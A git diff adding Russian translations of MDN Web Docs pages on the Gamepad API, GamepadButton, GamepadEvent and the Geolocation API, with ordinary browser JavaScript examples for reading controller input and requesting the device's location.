HTML5 представляет большое количесво необходимых компонентов для полной и интерактивной разработки игр. Такие технологии, как <canvas>, WebGL, <audio>, и <video>, вместе с Javascript сейчас поддерживают большое количество задач, для которых раньше требовались нативные программы.  Gamepad API - это способ полученния данных с геймпада и других игровых контроллеров. 

+ +

Gamepad API добавляет в  объект {{ domxref("Window") }}  новые события для получения событий контроллера. Дополнительно к этим событиям, API также добавляет объект {{ domxref("Gamepad") }}, который позволяет получить  состояние подключенного контроллера, и метод {{ domxref("navigator.getGamepads()") }} который позволяет получить все контроллеры, определенные на странице браузера.

+ +

Подключение геймпада

+ +

Когда новый  геймпад подключается, на странице страбатывают события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если геймпад уже был подключен к моменту загрузки страницы, события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} сработают, когда пользователь нажмет на любую кнопку или передвинет стики. 

+ +
+

В Firefox геймпад определяется только тогда, когда пользователь взаимодействует с ним, и при этом страница видна и в фокусе. Это помогает предотвратить использование геймпадов для идентификации пользователя. После взаимодействия с одним геймпадом другие подключенные геймпады будут автоматически видны.

+
+ +

Вы можете использовать  {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} как в примере:

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    e.gamepad.index, e.gamepad.id,
+    e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+
+ +

Каждый геймпад имеет уникальный ID, который доступен в свойстве {{domxref("GamepadEvent.gamepad", "gamepad")}}.

+ +

Отключение геймпада

+ +

When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+    e.gamepad.index, e.gamepad.id);
+});
+ +

The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The index property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.

+ +
var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note:
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+
+ +

This previous example also demonstrates how the gamepad property can be held after the event has completed — a technique we will use for device state querying later.

+ +

Querying the Gamepad object

+ +

As you can see, the gamepad events discussed above include a gamepad property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.

+ +

Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.

+ +

The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always null, so null will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    gp.index, gp.id,
+    gp.buttons.length, gp.axes.length);
+});
+ +

The {{ domxref("Gamepad") }} object's properties are as follows:

+ + + +
+

Note: The Gamepad object is available on the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.

+
+ +

Using button information

+ +

Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can view the demo live, and find the source code on Github.

+ +

To start with, we declare some variables: The gamepadInfo paragraph that the connection info is written into, the ball that we want to move, the start variable that acts as the ID for requestAnimation Frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.

+ +
var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+
+ +

Next we use the {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}[0], print information about the gamepad into our gamepad info div, and fire the gameLoop() function that starts the whole ball movement process up.

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});
+ +

Now we use the {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  cancelRequestAnimationFrame(start);
+});
+ +

Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a webkit prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.

+ +
var interval;
+
+if (!('ongamepadconnected' in window)) {
+  // No gamepad events available, poll instead.
+  interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    var gp = gamepads[i];
+    if (gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
+        ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}
+ +

Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the a and b movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of a and b respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.

+ +

After all this is done, we use our requestAnimationFrame() to request the next animation frame, running gameLoop() again.

+ +
function buttonPressed(b) {
+  if (typeof(b) == "object") {
+    return b.pressed;
+  }
+  return b == 1.0;
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads) {
+    return;
+  }
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if (buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if (buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a * 2 + "px";
+  ball.style.top = b * 2 + "px";
+
+  start = requestAnimationFrame(gameLoop);
+}
+ +

Complete example: Displaying gamepad state

+ +

This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} and {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} events in order to display the state of all gamepads connected to the system. You can find a working demo and look at the full source code on Github.

+ +
var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad;
+
+  var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+  d.appendChild(t);
+
+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i = 0; i < gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+
+  d.appendChild(b);
+
+  var a = document.createElement("div");
+  a.className = "axes";
+
+  for (var i = 0; i < gamepad.axes.length; i++) {
+    var p = document.createElement("progress");
+    p.className = "axis";
+    //p.id = "a" + i;
+    p.setAttribute("max", "2");
+    p.setAttribute("value", "1");
+    p.innerHTML = i;
+    a.appendChild(p);
+  }
+
+  d.appendChild(a);
+
+  // See https://github.com/luser/gamepadtest/blob/master/index.html
+  var start = document.getElementById("start");
+  if (start) {
+    start.style.display = "none";
+  }
+
+  document.body.appendChild(d);
+  requestAnimationFrame(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+
+  var i = 0;
+  var j;
+
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+
+    for (i = 0; i < controller.buttons.length; i++) {
+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+
+      var pct = Math.round(val * 100) + "%";
+      b.style.backgroundSize = pct + " " + pct;
+
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (i = 0; i < controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+
+  requestAnimationFrame(updateStatus);
+}
+
+function scangamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (gamepads[i].index in controllers) {
+        controllers[gamepads[i].index] = gamepads[i];
+      } else {
+        addgamepad(gamepads[i]);
+      }
+    }
+  }
+}
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+if (!haveEvents) {
+ setInterval(scangamepads, 500);
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}{{Spec2("Gamepad")}}Initial defintion
+ +

Browser compatibility

+ + + +

{{Compat("api.Gamepad")}}

diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html new file mode 100644 index 0000000000..c119ee2401 --- /dev/null +++ b/files/ru/web/api/gamepadbutton/index.html @@ -0,0 +1,85 @@ +--- +title: GamepadButton +slug: Web/API/GamepadButton +translation_of: Web/API/GamepadButton +--- +
{{APIRef("Gamepad API")}}
+ +
Интерфейс GamepadButton определяет отдельную кнопку геймпада или другого контроллера, позволяя получить доступ к текущему состоянию различных типов кнопок, доступных на устройстве
+ +

Объект GamepadButton возвращается путем получения любого элемента в массиве buttons, который является свойством интерфейса {{domxref("Gamepad")}}.

+ +
+

Note: Это работает только в  Firefox Gecko 28 и выше;  Chrome и более ранние версии  Firefox по-прежнему возвращают массив чисел с плавающей точкой

+
+ +

Свойства

+ +
+
{{domxref("GamepadButton.value")}} {{readonlyInline}}
+
Значение с плавающей точкой, указывающее на текущее состояние аналоговых кнопок, таких как триггеры на многих современных геймпадах. Значение нормализованно к диапазону 0.0-1.0, где 0.0 означает, что клавиша не нажата совсем, 1.0 - нажата полностью.
+
{{domxref("GamepadButton.pressed")}} {{readonlyInline}}
+
Значение {{domxref("Boolean")}} указывает, нажата ли кнопка (true) или не нажата (false).
+
+ +

Пример

+ +

Приведенный код взят из моего (автора статьи) демо Gamepad API button (вы можете  Посмотреть демо, и посмотреть исходники на GitHub). Важно — в Chrome {{domxref("Navigator.getGamepads")}} неободимо установить префикс webkit, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в  Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив  объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.

+ +
function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value > 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = window.requestAnimationFrame(gameLoop);
+};
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#gamepadbutton-interface", "GamepadButton")}}{{Spec2("Gamepad")}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.GamepadButton")}}

+ +

См. также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepadbutton/pressed/index.html b/files/ru/web/api/gamepadbutton/pressed/index.html new file mode 100644 index 0000000000..5222968bcc --- /dev/null +++ b/files/ru/web/api/gamepadbutton/pressed/index.html @@ -0,0 +1,52 @@ +--- +title: GamepadButton.pressed +slug: Web/API/GamepadButton/pressed +translation_of: Web/API/GamepadButton/pressed +--- +

{{APIRef("Gamepad API")}}

+ +

Свойство GamepadButton.pressed интерфейса {{domxref("GamepadButton")}} возвращает boolean, указыващий, нажата ли текущая кнопка (true), или нет (false).

+ +

Синтакс

+ +
var isPressed = navigator.getGamepads()[0].pressed;
+
+ +

Пример

+ +
var gp = navigator.getGamepads()[0]; // Get the first gamepad object
+
+if(gp.buttons[0].pressed == true) {
+  // respond to button being pressed
+}
+ +

Значение

+ +

 {{domxref("boolean")}}.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#dom-gamepadbutton-pressed", "GamepadButton.pressed")}}{{Spec2("Gamepad")}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.GamepadButton.pressed")}}

+ +

See also

+ + diff --git a/files/ru/web/api/gamepadbutton/value/index.html b/files/ru/web/api/gamepadbutton/value/index.html new file mode 100644 index 0000000000..a1ccad261f --- /dev/null +++ b/files/ru/web/api/gamepadbutton/value/index.html @@ -0,0 +1,51 @@ +--- +title: GamepadButton.value +slug: Web/API/GamepadButton/value +translation_of: Web/API/GamepadButton/value +--- +

{{APIRef("Gamepad API")}}

+ +

Свойство GamepadButton.value  интерфейса {{domxref("GamepadButton")}} возвращает состояние аналоговой клавиши геймпада, такой, как, например триггеры. 

+ +

Пердставляет собой дробное число в диапазоне  0.0 — 1.0,  где 0.0 показывает, что кнопка не нажата, а 1.0 - что нажата полностью.

+ +

Синтаксис

+ +
    readonly    attribute double  value;
+ +

Пример

+ +
var gp = navigator.getGamepads()[0];
+
+if(gp.buttons[0].value > 0) {
+  // respond to analog button being pressed in
+}
+ +

Значение

+ +

 {{domxref("double")}}.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#dom-gamepadbutton-value", "GamepadButton.value")}}{{Spec2("Gamepad")}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.GamepadButton.value")}}

+ +

См. также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepadevent/gamepad/index.html b/files/ru/web/api/gamepadevent/gamepad/index.html new file mode 100644 index 0000000000..903e5e0916 --- /dev/null +++ b/files/ru/web/api/gamepadevent/gamepad/index.html @@ -0,0 +1,55 @@ +--- +title: GamepadEvent.gamepad +slug: Web/API/GamepadEvent/gamepad +translation_of: Web/API/GamepadEvent/gamepad +--- +
{{APIRef("Gamepad API")}}
+ +

Свойство GamepadEvent.gamepad, интерфейса {{domxref("GamepadEvent")}}, возвращает объект {{domxref("Gamepad")}}, предоставляющий доступ к данным геймпада для событий gamepadconnected и gamepaddisconnected.

+ +
+

Примечание: Эти события не возникают Chrome, только в Firefox. В Chrome Вы должны использовать {{domxref("Navigator.getGamepads")}} для доступа к объекту {{domxref("Gamepad")}}.

+
+ +

Синтаксис

+ +
readonly    attribute Gamepad gamepad;
+ +

Пример

+ +

Свойство gamepad будет передано при возникновении события Window.gamepadconnected.

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+ +

Значение

+ +

Объект {{domxref("Gamepad")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Gamepad", "#widl-GamepadEvent-gamepad", "GamepadEvent.gamepad")}}{{Spec2("Gamepad")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.GamepadEvent.gamepad")}}

+ +

Смотрите также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/gamepadevent/index.html b/files/ru/web/api/gamepadevent/index.html new file mode 100644 index 0000000000..b0317ba076 --- /dev/null +++ b/files/ru/web/api/gamepadevent/index.html @@ -0,0 +1,57 @@ +--- +title: GamepadEvent +slug: Web/API/GamepadEvent +translation_of: Web/API/GamepadEvent +--- +

{{APIRef("Gamepad API")}}

+ +

GamepadEvent интерфейс {{ domxref("Gamepad API")}} содержит ссылки на геймпады, подключенные к системе, передающиеся при возникновении событий Window.gamepadconnected и Window.gamepaddisconnected.

+ +

Свойства

+ +
+
{{ domxref("GamepadEvent.gamepad") }} {{ReadOnlyInline}}
+
Возвращает объект {{ domxref("Gamepad") }}, предоставляющий доступ к данным геймпада, для возникнувшего события.
+
+ +

Примеры

+ +

Свойства геймпада передаются при возникновении события Window.gamepadconnected.

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+ +

И события Window.gamepaddisconnected.

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+  e.gamepad.index, e.gamepad.id);
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Gamepad", "#gamepadevent-interface", "GamepadEvent")}}{{Spec2("Gamepad")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.GamepadEvent")}}

+ +

Смотрите также

+ +

Using the Gamepad API

diff --git a/files/ru/web/api/geolocation/getcurrentposition/index.html b/files/ru/web/api/geolocation/getcurrentposition/index.html new file mode 100644 index 0000000000..2a0774dce8 --- /dev/null +++ b/files/ru/web/api/geolocation/getcurrentposition/index.html @@ -0,0 +1,82 @@ +--- +title: Geolocation.getCurrentPosition() +slug: Web/API/Geolocation/getCurrentPosition +translation_of: Web/API/Geolocation/getCurrentPosition +--- +

{{securecontext_header}}{{ APIRef("Geolocation API") }}Метод Geolocation.getCurrentPosition() используется для получения текущего местоположения устройства.

+ +

Синтаксис

+ +
navigator.geolocation.getCurrentPosition(success[, error[, options]])
+ +

Параметры

+ +
+
success
+
Функция обратного вызова, которая принимает объект {{domxref("Position")}} в качестве единственного входного параметра.
+
error {{optional_inline}}
+
Необязательная функция обратного вызова, принимающая объект {{domxref("PositionError")}} как единственный входной параметр.
+
options {{optional_inline}}
+
Необязательный объект {{domxref("PositionOptions")}}.
+ Включает в себя +
    +
  • maximumAge: целое число (миллисекунды) | infinity - максимальное время кеширования позиции.
    • +
  • timeout: целое число (миллисекунды) - количество времени до вызова callback ошибки. Если 0, вызов не происходит.
    • +
  • enableHighAccuracy: false | true
    • +
+
+
+ +

Пример

+ +
var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Ваше текущее метоположение:');
+  console.log(`Широта: ${crd.latitude}`);
+  console.log(`Долгота: ${crd.longitude}`);
+  console.log(`Плюс-минус ${crd.accuracy} метров.`);
+};
+
+function error(err) {
+  console.warn(`ERROR(${err.code}): ${err.message}`);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Начальная спецификация.
+ +

Совместимость с браузерами

+ +

{{Compat("api.Geolocation.getCurrentPosition")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/geolocation/index.html b/files/ru/web/api/geolocation/index.html new file mode 100644 index 0000000000..75be7f3457 --- /dev/null +++ b/files/ru/web/api/geolocation/index.html @@ -0,0 +1,69 @@ +--- +title: Geolocation +slug: Web/API/Geolocation +tags: + - API + - Advanced + - Geolocation API + - Interface + - Reference + - Secure context +translation_of: Web/API/Geolocation +--- +
{{APIRef}}
+ +

Интерфейс Geolocation представляет возможность программно получит местоположение устройства. Он даёт веб-содержимому к позиции пользователя. Это также помогает сайтам и приложениям предоставлять результаты, основываясь полученных данных.

+ +

Объект с этим интерфейсом получается с помощью свойства {{domxref("NavigatorGeolocation.geolocation")}} и реализуется объектом {{domxref("Navigator")}}.

+ +
+

Примечание: По некоторым причинам, связанным с безопаностью, когда веб-страница пытается получить доступ к местоположению, пользователь будет уведомлен, а также будет запрошено разрешение. Имейте в виду, что у каждого браузера есть свои политики и методы для запроса этого разрешения.

+
+ +

Свойства

+ +

Интерфейс Geolocation ни реализует, ни наследует никаких свойств.

+ +

Методы

+ +

Интерфейс Geolocation не наследует никаких методов.

+ +
+
{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}
+
Определяет местоположение устройства и возвращает объект {{domxref("Position")}} с данными.
+
{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}
+
Возвращает long значение, предоставляет вновь созданную callback-функцию, вызываемую при изменении местоположения устройства.
+
{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}
+
Удаляет обработчик, созданный с помощью watchPosition().
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Geolocation', '#geolocation_interface')}}{{Spec2('Geolocation')}}Основная спецификация.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Geolocation")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/geolocation/using_geolocation/index.html b/files/ru/web/api/geolocation/using_geolocation/index.html new file mode 100644 index 0000000000..39847dedc5 --- /dev/null +++ b/files/ru/web/api/geolocation/using_geolocation/index.html @@ -0,0 +1,91 @@ +--- +title: Использование геолокации +slug: Web/API/Geolocation/Using_geolocation +tags: + - Geolocation API + - Guide + - Intermediate +translation_of: Web/API/Geolocation_API +--- +
{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}
+ +

Geolocation API позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.

+ +

Концепты и использование

+ +

Вы часто хотите получать информацию о местоположении пользователя в своём веб приложении, например, для отображения участка на карте, либо для того, чтобы показывать информацию, основанную на местоположении посетителя.

+ +

API геолокации может быть вызвано через {{domxref("Navigator.geolocation")}}; это заставит браузер пользователя вывести уведомление с запросом для доступа к текущему местоположению. Если его одобрят, то браузер сможет даст весь доступный функционал для работы с информацией о местонахождении (например, GPS).

+ +

Тогда разработчику станут доступны несколько разных способов получения соответствующей информации:

+ + + +

В обоих случая, методы принимают три аргумента:

+ + + +

Интерфейсы

+ +
+
{{domxref("Geolocation")}}
+
Главный класс этого API — содержит методы для получения текущего местоположения пользователя, наблюдает за его изменениями и удаляет функции-наблюдатели.
+
{{domxref("GeolocationPosition")}}
+
Предоставляет месторасположение пользователя. Экземпляр GeolocationPosition, полученный при успешном вызове одного из методов {{domxref("Geolocation")}}, внутри callback-функции при успехе, содержит метку времени плюс экземпляр объекта {{domxref("GeolocationCoordinates")}}.
+
{{domxref("GeolocationCoordinates")}}
+
Предоставлять координаты пользователя; Экземпляр GeolocationCoordinates содержит широту, долготу и прочую важную подобную информацию.
+
{{domxref("GeolocationPositionError")}}
+
GeolocationPositionError возвращается при неуспешном вызове методов, содержащихся в {{domxref("Geolocation")}}, внутри callback-функции при ошибке, содержит код ошибки и сообщение.
+
{{domxref("Navigator.geolocation")}}
+
Точка входа в API. Возвращает экземпляр объекта {{domxref("Geolocation")}}, из которого становятся доступны все функции и методы.
+
+ +

Словари

+ +
+
{{domxref("PositionOptions")}}
+
Предоставляет объект, содержащий опции, которые можно передать как параметр в  {{domxref("Geolocation.getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()")}}.
+
+ +

Примеры

+ +

{{page("/ru/docs/Web/API/Geolocation_API/Using","Examples")}}

+ +

Спецификации

+ + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Geolocation")}}{{Spec2("Geolocation")}}
+ +

Поддержка браузерами

+ +

{{Compat("api.Geolocation")}}

+ +

Доступность

+ +

Так как местоположение, основанное на WiFi, часто предоставляется Google, API местоположения может быть не доступен в Китае. Вы можете использовать местных провайдеров, таких как Baidu, Autonavi или Tencent. Эти сервисы используют IP-адресс пользователя и/или приложение для предоставления наиболее точной позиции.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html b/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html new file mode 100644 index 0000000000..5fa1055292 --- /dev/null +++ b/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html @@ -0,0 +1,170 @@ +--- +title: Использование Geolocation API +slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API +tags: + - Geolocation API + - Guide + - Tutorial +translation_of: Web/API/Geolocation_API/Using_the_Geolocation_API +--- +
{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}
+ +

Geolocation API позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.

+ +

Объект геолокации

+ +

API геолокации доступен через объект {{domxref("navigator.geolocation")}}.

+ +

Если объект существует, функции определения местоположения доступны. Вы можете проверить это слеюущим образом:

+ +
if ("geolocation" in navigator) {
+  /* местоположение доступно */
+} else {
+  /* местоположение НЕ доступно */
+}
+
+ +

Получение текущего местоположения

+ +

Чтобы получить текущее местоположение пользователя, вы должны вызвать метод {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}}. Это инициирует асихронный запрос для обнаружения местоположения пользователя, и запрашивает аппаратные средства позиционирования, чтобы получить последнюю актуальную информацию. Когда местоположение определено, выполняется callback. По желанию вы можете указать вторую callback функцию для обработки ошибки, которая запустится в случае ошибки. Третий, опциональный параметр - объект с опциями, где вы можете настроить максимальное значение возвращаемых данных, время ожидания ответа на запрос, и, при желании, точность возвращаемых данных.

+ +
+

Note: По умолчанию {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} пытается вернуть результат так быстро, как это возможно, за счёт чего даёт не очень точный результат. Это может быть полезно, если вам нужно быстро получить ответ, при этом не важна точность. Устройства с GPS, например, могут пытаться скорректировать данные GPS около минуты и даже больше, поэтому в самом начале могут вернуться менее точные данные (местоположение IP или wifi-сети), полученные {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

+
+ +
navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

Функция do_something(), в примере выше, будет вызвана лишь тогда, когда данные о местоположении будут получены.

+ +

Наблюдение за текущим местоположением

+ +

